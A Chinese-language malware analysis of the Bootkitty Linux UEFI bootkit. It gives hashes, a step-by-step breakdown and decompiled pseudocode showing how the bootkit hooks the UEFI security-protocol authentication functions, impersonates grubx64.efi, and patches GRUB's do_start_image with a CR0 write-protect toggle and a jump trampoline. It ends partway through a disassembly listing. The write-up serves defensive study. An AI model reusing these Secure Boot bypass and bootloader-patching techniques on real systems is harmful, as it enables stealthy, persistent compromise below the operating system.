Bootkitty:Linux uefi bootkit 分析
Bootkitty:Linux uefi bootkit 分析
参考:Bootkitty:分析第一个适用于 Linux 的 UEFI bootkit --- Bootkitty: Analyzing the first UEFI bootkit for Linux
文件信息
PE64
操作系统: UEFI[AMD64, 64 位, DLL]
链接程序: Microsoft Linker(14.36.34123)
编译器: Microsoft Visual C/C++(19.36.34123)[LTCG/C]
语言: C
工具: Visual Studio(2022, v17.6)
签名工具: Windows Authenticode(2.0)[PKCS #7]
调试数据: Binary[偏移=0x00014c28,大小=0x4c]
调试数据: PDB file link(7.0)
附加: Binary[偏移=0x00017600,大小=0x0630]
证书: WinAuth(2.0)[PKCS #7]
sha1:35adf3aed60440da7b80f3c452047079e54364c1
pdb路径:D:\Projects\Bootkitty-Linux\x64\Release\BootKit.pdb
根据内置的硬编码,猜测其测试环境大概率为ubuntu 24.04 (Noble),
grubx64.efi sha1:3d07ee5990cea2e3253e2ca43060cbb0c5d3ca03
vmlinuz sha1:11fa787e8af15392b2107e64562de00bf9469079
0、ModuleEntryPoint 入口函数
流程如下
-
检查是否启用了 UEFI 安全启动 (获取"SecureBoot" 变量)
-
hook _EFI_SECURITY2_ARCH_PROTOCOL FileAuthentication
-
hook _EFI_SECURITY_ARCH_PROTOCOL FileAuthenticationState
-
加载grubx64-real.efi (自身伪装为grubx64.efi,grubx64-real.efi 为原始boot)
-
hook grub内部函数 do_start_image
hook_do_start_image 内继续hook vmlinuz 内核
-
hook grub内部函数 shim_lock_verifier_init
-
hook grub内部函数 grub_verifiers_open
对应下图(5)之后
引用:Bootkitty:分析第一个适用于 Linux 的 UEFI bootkit --- Bootkitty: Analyzing the first UEFI bootkit for Linux
EFI_STATUS __fastcall ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
flags_180018176 = ::flags_180018176;
ParentImageHandle = ImageHandle;
if ( (::flags_180018176 & 1) != 0 && !ImageHandle && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
0x2Di64,
COERCE_DOUBLE("gImageHandle != ((void *) 0)"));
if ( gST )
{
ConOut = gST->ConOut;
if ( ConOut )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut->OutputString)(ConOut, StartOfBuffer);
}
flags_180018176 = ::flags_180018176;
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
SecureBoot_var = 0i64;
while ( 1 )
;
}
}
::SystemTable = SystemTable;
if ( (flags_180018176 & 1) != 0 && !SystemTable && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
0x33i64,
COERCE_DOUBLE("gST != ((void *) 0)"));
if ( gST )
{
ConOut_1 = gST->ConOut;
if ( ConOut_1 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_1->OutputString)(
ConOut_1,
StartOfBuffer);
}
flags_180018176 = ::flags_180018176;
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
SecureBoot_var = 0i64;
while ( 1 )
;
}
}
BootServices = SystemTable->BootServices;
gBS = BootServices;
if ( (flags_180018176 & 1) != 0 && !BootServices && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
0x39i64,
COERCE_DOUBLE("gBS != ((void *) 0)"));
if ( gST )
{
ConOut_2 = gST->ConOut;
if ( ConOut_2 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_2->OutputString)(
ConOut_2,
StartOfBuffer);
}
flags_180018176 = ::flags_180018176;
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
SecureBoot_var = 0i64;
while ( 1 )
;
}
}
RuntimeServices = SystemTable->RuntimeServices;
gRT = RuntimeServices;
if ( (flags_180018176 & 1) != 0 && !RuntimeServices && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer_1,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE(
"D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiRuntimeServicesTableLib\\UefiRuntimeServicesTableLib.c"),
0x29i64,
COERCE_DOUBLE("gRT != ((void *) 0)"));
if ( gST )
{
ConOut_3 = gST->ConOut;
if ( ConOut_3 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_3->OutputString)(
ConOut_3,
StartOfBuffer_1);
}
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
SecureBoot_var = 0i64;
while ( 1 )
;
}
}
stauts = gBS->LocateProtocol(
&EFI_DEVICE_PATH_UTILITIES_PROTOCOL_GUID,
0i64,
(void **)&gEfiDevicePathUtilitiesProtocol);// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Provides the protocol to search for.
// Registration Optional registration key returned from RegisterProtocolNotify().
// Interface On return, a pointer to the first interface that matches Protocol and Registration.
flags_180018176_1 = ::flags_180018176;
if ( (::flags_180018176 & 1) != 0 )
{
if ( stauts < 0 )
{
if ( (::flags_180018176 & 2) != 0 )
{
sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", stauts);
flags_180018176_1 = ::flags_180018176;
}
if ( !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer_1,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE(
"D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiDevicePathLibDevicePathProtocol\\UefiDevicePathLib.c"),
0x43i64,
COERCE_DOUBLE("!EFI_ERROR (Status)"));
if ( gST )
{
ConOut_4 = gST->ConOut;
if ( ConOut_4 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_4->OutputString)(
ConOut_4,
StartOfBuffer_1);
}
flags_180018176_1 = ::flags_180018176;
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
SecureBoot_var = 0i64;
while ( 1 )
;
}
}
}
if ( (flags_180018176_1 & 1) != 0 && !gEfiDevicePathUtilitiesProtocol && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE(
"D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiDevicePathLibDevicePathProtocol\\UefiDevicePathLib.c"),
0x44i64,
COERCE_DOUBLE("mDevicePathLibDevicePathUtilities != ((void *) 0)"));
if ( gST )
{
ConOut_5 = gST->ConOut;
if ( ConOut_5 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_5->OutputString)(
ConOut_5,
StartOfBuffer);
}
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
SecureBoot_var = 0i64;
while ( 1 )
;
}
}
}
status = gBS->LocateProtocol(&EFI_HII_STRING_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiStringProtocol);// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Provides the protocol to search for.
// Registration Optional registration key returned from RegisterProtocolNotify().
// Interface On return, a pointer to the first interface that matches Protocol and Registration.
if ( (::flags_180018176 & 1) != 0 && status < 0 )
{
if ( (::flags_180018176 & 2) != 0 )
sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status);
if ( !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer_1,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
0x52i64,
COERCE_DOUBLE("!EFI_ERROR (Status)"));
if ( gST )
{
ConOut_6 = gST->ConOut;
if ( ConOut_6 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_6->OutputString)(
ConOut_6,
StartOfBuffer_1);
}
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
SecureBoot_var = 0i64;
while ( 1 )
;
}
}
}
status_1 = gBS->LocateProtocol(&EFI_HII_DATABASE_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiDatabaseProtocol);// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Provides the protocol to search for.
// Registration Optional registration key returned from RegisterProtocolNotify().
// Interface On return, a pointer to the first interface that matches Protocol and Registration.
if ( (::flags_180018176 & 1) != 0 && status_1 < 0 )
{
if ( (::flags_180018176 & 2) != 0 )
sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status_1);
if ( !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer_1,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
0x58i64,
COERCE_DOUBLE("!EFI_ERROR (Status)"));
if ( gST )
{
ConOut_7 = gST->ConOut;
if ( ConOut_7 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_7->OutputString)(
ConOut_7,
StartOfBuffer_1);
}
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
SecureBoot_var = 0i64;
while ( 1 )
;
}
}
}
status_2 = gBS->LocateProtocol(&EFI_HII_CONFIG_ROUTING_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiConfigRoutingProtocol);// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Provides the protocol to search for.
// Registration Optional registration key returned from RegisterProtocolNotify().
// Interface On return, a pointer to the first interface that matches Protocol and Registration.
if ( (::flags_180018176 & 1) != 0 && status_2 < 0 )
{
if ( (::flags_180018176 & 2) != 0 )
sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status_2);
if ( !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer_1,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
0x5Ei64,
COERCE_DOUBLE("!EFI_ERROR (Status)"));
if ( gST )
{
ConOut_8 = gST->ConOut;
if ( ConOut_8 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_8->OutputString)(
ConOut_8,
StartOfBuffer_1);
}
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
SecureBoot_var = 0i64;
while ( 1 )
;
}
}
}
gBS->LocateProtocol(&EFI_HII_FONT_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiFontProtocol);// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Provides the protocol to search for.
// Registration Optional registration key returned from RegisterProtocolNotify().
// Interface On return, a pointer to the first interface that matches Protocol and Registration.
gBS->LocateProtocol(&EFI_HII_IMAGE_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiImageProtocol);// EFI_BOOT_SERVICES *gBS
// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Provides the protocol to search for.
// Registration Optional registration key returned from RegisterProtocolNotify().
// Interface On return, a pointer to the first interface that matches Protocol and Registration.
loadimg = (EFI_LOADED_IMAGE_PROTOCOL *)1;
// 检查是否启用了 UEFI 安全启动
if ( !((__int64 (__fastcall *)(const wchar_t *, EFI_GUID *, _QWORD, EFI_LOADED_IMAGE_PROTOCOL **, EFI_LOADED_IMAGE_PROTOCOL **))::SystemTable->RuntimeServices->GetVariable)(
L"SecureBoot",
&EFI_SIMPLE_BOOT_FLAG_VARIABLE_GUID,
0i64,
&loadimg,
&SecureBoot_var) )
{
if ( (_BYTE)SecureBoot_var )
{
callback_1_18000D8A0 = (void (__fastcall *)())ret_1_18000D8A0;
callback_1_18000D9A0 = (__int64 (__fastcall *)(_QWORD, _QWORD))ret_1_18000D9A0;
callback_0_18000D9B0 = (__int64 (__fastcall *)(_QWORD, _QWORD))ret_0_18000D9B0;
Handle = 0i64;
if ( !original_security_FileAuthenticationState_1800181F0 )
{
// ///
// /// The EFI_SECURITY2_ARCH_PROTOCOL is used to abstract platform-specific policy from the
// /// DXE Foundation. This includes measuring the PE/COFF image prior to invoking, comparing the
// /// image against a policy (whether a white-list/black-list of public image verification keys
// /// or registered hashes).
// ///
// struct _EFI_SECURITY2_ARCH_PROTOCOL {
// EFI_SECURITY2_FILE_AUTHENTICATION FileAuthentication;
// };
((void (__fastcall *)(EFI_GUID *, _QWORD, EFI_SECURITY2_ARCH_PROTOCOL **))::SystemTable->BootServices->LocateProtocol)(
&EFI_SECURITY2_ARCH_PROTOCOL_GUID,
0i64,
&Handle);
// ///
// /// The EFI_SECURITY_ARCH_PROTOCOL is used to abstract platform-specific policy
// /// from the DXE core. This includes locking flash upon failure to authenticate,
// /// attestation logging, and other exception operations.
// ///
// struct _EFI_SECURITY_ARCH_PROTOCOL {
// EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
// };
if ( !((__int64 (__fastcall *)(EFI_GUID *, _QWORD, EFI_SECURITY_ARCH_PROTOCOL **))::SystemTable->BootServices->LocateProtocol)(
&EFI_SECURITY_ARCH_PROTOCOL_GUID,
0i64,
&v35) )
{
if ( Handle )
{
original_security2_FileAuthentication_1800181E0 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _DWORD))Handle->FileAuthentication;
Handle->FileAuthentication = (EFI_SECURITY2_FILE_AUTHENTICATION)hook_security2_FileAuthentication_18000D7E0;
}
original_security_FileAuthenticationState_1800181F0 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))v35->FileAuthenticationState;
v35->FileAuthenticationState = (EFI_SECURITY_FILE_AUTHENTICATION_STATE)hook_security_FileAuthenticationState_18000D340;
}
}
}
}
printf_18000857C((__int64)L"Bootkitty's Bootkit\n");
printf_18000857C((__int64)L"- Devloped By BlackCat\n");
Handle = 0i64;
gBS->HandleProtocol(ParentImageHandle, &EFI_LOADED_IMAGE_PROTOCOL_GUID, (void **)&loadimg);// gBS->HandleProtocol()
// EFI_STATUS(EFIAPI * EFI_HANDLE_PROTOCOL) (IN EFI_HANDLE Handle, IN EFI_GUID *Protocol, OUT VOID **Interface)
// Handle The handle being queried.
// Protocol The published unique identifier of the protocol.
// Interface Supplies the address where a pointer to the corresponding Protocol Interface is returned.
// \\EFI\\ubuntu\\grubx64-real.efi
if ( (find_grubx64_180010630(NoHandles, &SecureBoot_var) & 0x8000000000000000ui64) != 0i64 || !SecureBoot_var )
return 0i64;
status_3 = gBS->LoadImage(
1u,
ParentImageHandle,
(EFI_DEVICE_PATH_PROTOCOL *)SecureBoot_var,
0i64,
0i64,
(EFI_HANDLE *)&v33); // gBS->LoadImage()
// EFI_STATUS(EFIAPI * EFI_IMAGE_LOAD) (IN BOOLEAN BootPolicy, IN EFI_HANDLE ParentImageHandle, IN EFI_DEVICE_PATH_PROTOCOL *DevicePath, IN VOID *SourceBuffer OPTIONAL, IN UINTN SourceSize, OUT EFI_HANDLE *ImageHandle)
// BootPolicy If TRUE, indicates that the request originates from the boot manager, and that the boot manager is attempting to load FilePath as a boot selection. Ignored if SourceBuffer is not NULL.
// ParentImageHandle The caller's image handle.
// DevicePath The DeviceHandle specific file path from which the image is loaded.
// SourceBuffer If not NULL, a pointer to the memory location containing a copy of the image to be loaded.
// SourceSize The size in bytes of SourceBuffer. Ignored if SourceBuffer is NULL.
// ImageHandle The pointer to the returned image handle that is created when the image is successfully loaded.
v23 = status_3 < 0;
if ( !status_3 )
{
gBS->HandleProtocol(v33, &EFI_LOADED_IMAGE_PROTOCOL_GUID, (void **)&Interface_);// gBS->HandleProtocol()
// EFI_STATUS(EFIAPI * EFI_HANDLE_PROTOCOL) (IN EFI_HANDLE Handle, IN EFI_GUID *Protocol, OUT VOID **Interface)
// Handle The handle being queried.
// Protocol The published unique identifier of the protocol.
// Interface Supplies the address where a pointer to the corresponding Protocol Interface is returned.
// do_start_image
v24 = hook_grub_1_mods__do_start_image_18000EFB0(Interface_->ImageBase, Interface_->ImageSize);
v23 = v24 < 0;
if ( !v24 )
{
// shim_lock_verifier_init
v25 = hook_grub_2_shim_lock_verifier_init_18000E990(Interface_->ImageBase, Interface_->ImageSize);
v23 = v25 < 0;
if ( !v25 )
{
// grub_verifiers_open
v26 = hook_grub_3__grub_verifiers_open_18000E380(Interface_->ImageBase, Interface_->ImageSize);
v23 = v26 < 0;
if ( !v26 )
goto LABEL_95;
}
}
}
if ( !v23 )
LABEL_95:
gBS->StartImage(v33, 0i64, 0i64); // gBS->StartImage()
// EFI_STATUS(EFIAPI * EFI_IMAGE_START) (IN EFI_HANDLE ImageHandle, OUT UINTN *ExitDataSize, OUT CHAR16 **ExitData OPTIONAL)
// ImageHandle Handle of image to be started.
// ExitDataSize The pointer to the size, in bytes, of ExitData.
// ExitData The pointer to a pointer to a data buffer that includes a Null-terminated string, optionally followed by additional binary data.
return 0i64;
}
1、hook do_start_image
hook_grub_1_mods__do_start_image_18000EFB0
通过硬编码搜索
49 8B 4C 24 40 49 8B 16
定位到grub 的mods节,提取mod后 对应do_start_image函数内部,
unsigned __int64 __fastcall hook_grub_1_mods__do_start_image_18000EFB0(void *ImageBase, unsigned int ImageSize)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v3 = (char *)ImageBase;
if ( !ImageBase )
return 0x8000000000000002ui64;
v4 = (char *)ImageBase + ImageSize - 8;
if ( ImageBase >= v4 )
return 0x800000000000000Eui64;
// 49 8B 4C 24 40 49 8B 16
// mods:0000000000110A5C 49 8B 4C 24 40 mov rcx, [r12+40h]
// mods:0000000000110A61 49 8B 16 mov rdx, [r14]
for ( i = pattern_180012540 - (_BYTE *)ImageBase; ; --i )
{
v6 = 0;
v7 = v3;
do
{
v8 = v7[i];
if ( v8 != (char)0xCC && *v7 != v8 )
break;
++v6;
++v7;
}
while ( v6 < 8 );
if ( v6 == 8 )
break;
if ( ++v3 >= v4 )
return 0x800000000000000Eui64;
}
*(_QWORD *)v30 = hook_grub_f1__do_start_image_18000DE20;
original_grub_f1_180018268 = v3;
v10 = gBS->RaiseTPL(0x1Fui64); // gBS->RaiseTPL()
// EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
// NewTpl The new task priority level.
v11 = flags_180018176;
v12 = original_grub_f1_180018268;
v13 = v10;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f1_180018280 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
ConOut = gST->ConOut;
if ( ConOut )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut->OutputString)(ConOut, StartOfBuffer);
}
v11 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v11 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v12 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v32,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v15 = gST->ConOut;
if ( v15 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v15->OutputString)(v15, v32);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( backup_original_grub_f1_180018280 != v12 )
memmove_1800064F0(backup_original_grub_f1_180018280, v12, 0xCui64);
v16 = original_grub_f1_180018268;
v17 = _readcr0_();
v18 = BYTE2(v17) & 1;
if ( (v17 & 0x10000) != 0 )
writecr0_180001010(v17 & 0xFFFFFFFFFFFEFFFFui64);
v19 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v16 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v33,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
v20 = gST->ConOut;
if ( v20 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v20->OutputString)(v20, v33);
}
v19 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v19 & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v34,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v21 = gST->ConOut;
if ( v21 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v21->OutputString)(v21, v34);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( v16 != jmp_rax_trampoline_180012520 )
// .rdata:0000000180012520 48 B8 00 00 00 00 00 00 00 00 mov rax, 0
// .rdata:000000018001252A FF E0 jmp rax
memmove_1800064F0(v16, (char *)jmp_rax_trampoline_180012520, 0xCui64);
if ( v18 )
{
v22 = _readcr0_();
writecr0_180001010(v22 | 0x10000);
}
v23 = original_grub_f1_180018268 + 2;
v24 = _readcr0_();
v25 = BYTE2(v24) & 1;
if ( (v24 & 0x10000) != 0 )
writecr0_180001010(v24 & 0xFFFFFFFFFFFEFFFFui64);
v26 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)v23 < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v32,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
v27 = gST->ConOut;
if ( v27 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v27->OutputString)(v27, v32);
}
v26 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v26 & 1) != 0 && ~(unsigned __int64)v30 < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v28 = gST->ConOut;
if ( v28 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v28->OutputString)(v28, StartOfBuffer);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( v23 != v30 )
memmove_1800064F0(v23, v30, 8ui64);
if ( v25 )
{
v29 = _readcr0_();
writecr0_180001010(v29 | 0x10000);
}
gBS->RestoreTPL(v13); // gBS->RestoreTPL()
// VOID(EFIAPI * EFI_RESTORE_TPL) (IN EFI_TPL OldTpl)
// OldTpl The previous task priority level to restore.
return 0i64;
}
do_start_image (目标函数)
汇编
.text:0000000000000286 do_start_image_286 proc near ; CODE XREF: sub_46E+4D↓p
.text:0000000000000286 ; DATA XREF: sub_46E:loc_4B1↓o
.text:0000000000000286 F3 0F 1E FA endbr64
.text:000000000000028A 55 push rbp
.text:000000000000028B 48 89 E5 mov rbp, rsp
.text:000000000000028E 41 57 push r15
.text:0000000000000290 41 56 push r14
.text:0000000000000292 41 55 push r13
.text:0000000000000294 41 54 push r12
.text:0000000000000296 53 push rbx
.text:0000000000000297 57 push rdi
.text:0000000000000298 48 A1 D0 10 00 00 00 00 00 00 mov rax, ds:grub_efi_image_handle
.text:00000000000002A2 48 A3 80 10 00 00 00 00 00 00 mov ds:qword_1080, rax
.text:00000000000002AC 48 89 C7 mov rdi, rax
.text:00000000000002AF 48 B8 C0 10 00 00 00 00 00 00 mov rax, offset grub_efi_get_loaded_image
.text:00000000000002B9 FF D0 call rax ; grub_efi_get_loaded_image
.text:00000000000002BB 48 85 C0 test rax, rax
.text:00000000000002BE 74 48 jz short loc_308
.text:00000000000002C0 48 BA C0 0F 00 00 00 00 00 00 mov rdx, offset unk_FC0
.text:00000000000002CA 48 8B 4A 58 mov rcx, [rdx+58h]
.text:00000000000002CE 8B 72 3C mov esi, [rdx+3Ch]
.text:00000000000002D1 48 8B 52 10 mov rdx, [rdx+10h]
.text:00000000000002D5 48 89 48 40 mov [rax+40h], rcx
.text:00000000000002D9 48 89 70 48 mov [rax+48h], rsi
.text:00000000000002DD 48 85 D2 test rdx, rdx
.text:00000000000002E0 75 15 jnz short loc_2F7
.text:00000000000002E2
.text:00000000000002E2 loc_2E2: ; CODE XREF: do_start_image_286+6C↓j
.text:00000000000002E2 31 F6 xor esi, esi
.text:00000000000002E4 48 89 70 20 mov [rax+20h], rsi
.text:00000000000002E8 EB 50 jmp short loc_33A
.text:00000000000002EA ; ---------------------------------------------------------------------------
.text:00000000000002EA
.text:00000000000002EA loc_2EA: ; CODE XREF: do_start_image_286+74↓j
.text:00000000000002EA ; do_start_image_286+7A↓j
.text:00000000000002EA 0F B7 4A 02 movzx ecx, word ptr [rdx+2]
.text:00000000000002EE 66 83 F9 03 cmp cx, 3
.text:00000000000002F2 76 EE jbe short loc_2E2
.text:00000000000002F4 48 01 CA add rdx, rcx
.text:00000000000002F7
.text:00000000000002F7 loc_2F7: ; CODE XREF: do_start_image_286+5A↑j
.text:00000000000002F7 80 3A 04 cmp byte ptr [rdx], 4
